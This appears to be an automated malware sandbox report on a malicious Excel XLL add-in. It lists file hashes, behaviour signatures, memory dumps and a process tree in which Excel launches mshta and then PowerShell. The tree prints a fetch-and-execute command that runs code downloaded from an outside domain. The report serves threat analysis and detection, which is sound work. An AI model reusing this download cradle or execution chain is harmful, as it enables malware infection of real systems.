Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 22:32

General

  • Target

    9e8c1bee74185e37466085cdb60f1fb59f6be652b3b68017fef9f273fd65da49.xll

  • Size

    12KB

  • MD5

    7bbe76f3ba36c6e73ba6da085d5ab77a

  • SHA1

    50cf6b30fcf3cde5e06915d2c54ab71ea6dc354f

  • SHA256

    9e8c1bee74185e37466085cdb60f1fb59f6be652b3b68017fef9f273fd65da49

  • SHA512

    713d9da985a759386f1d758e2b6075f5c1743cda20d68a4a116dca61baa1764b9a28d0a404254015e5e661ebbd4ae45ef63fcb533739c24594e11cb1675065c6

  • SSDEEP

    192:tL29RBzDzeobchBj8JON3ON0GrubrEPEjr7AhhK:V29jnbcvYJOgFubvr7CY

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9e8c1bee74185e37466085cdb60f1fb59f6be652b3b68017fef9f273fd65da49.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3YK18YAR\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\9e8c1bee74185e37466085cdb60f1fb59f6be652b3b68017fef9f273fd65da49.xll

    Filesize

    12KB

    MD5

    7bbe76f3ba36c6e73ba6da085d5ab77a

    SHA1

    50cf6b30fcf3cde5e06915d2c54ab71ea6dc354f

    SHA256

    9e8c1bee74185e37466085cdb60f1fb59f6be652b3b68017fef9f273fd65da49

    SHA512

    713d9da985a759386f1d758e2b6075f5c1743cda20d68a4a116dca61baa1764b9a28d0a404254015e5e661ebbd4ae45ef63fcb533739c24594e11cb1675065c6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ky5vg5i4.a3g.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2248-59-0x0000000005C70000-0x0000000005C8E000-memory.dmp

    Filesize

    120KB

  • memory/2248-60-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

    Filesize

    304KB

  • memory/2248-58-0x0000000005640000-0x0000000005994000-memory.dmp

    Filesize

    3.3MB

  • memory/2248-61-0x00000000074E0000-0x0000000007B5A000-memory.dmp

    Filesize

    6.5MB

  • memory/2248-48-0x00000000055D0000-0x0000000005636000-memory.dmp

    Filesize

    408KB

  • memory/2248-47-0x0000000005560000-0x00000000055C6000-memory.dmp

    Filesize

    408KB

  • memory/2248-46-0x0000000004D50000-0x0000000004D72000-memory.dmp

    Filesize

    136KB

  • memory/2248-45-0x0000000004F30000-0x0000000005558000-memory.dmp

    Filesize

    6.2MB

  • memory/2248-44-0x0000000000E80000-0x0000000000EB6000-memory.dmp

    Filesize

    216KB

  • memory/2248-62-0x0000000006190000-0x00000000061AA000-memory.dmp

    Filesize

    104KB

  • memory/4688-9-0x00007FF9D4A70000-0x00007FF9D4A80000-memory.dmp

    Filesize

    64KB

  • memory/4688-8-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-19-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-15-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-17-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-13-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-10-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-16-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-14-0x00007FF9D4A70000-0x00007FF9D4A80000-memory.dmp

    Filesize

    64KB

  • memory/4688-11-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-12-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-0-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-7-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-18-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-6-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-5-0x00007FFA16C6D000-0x00007FFA16C6E000-memory.dmp

    Filesize

    4KB

  • memory/4688-4-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-3-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-1-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-2-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-69-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4688-85-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-86-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-88-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-87-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

    Filesize

    64KB

  • memory/4688-89-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

    Filesize

    2.0MB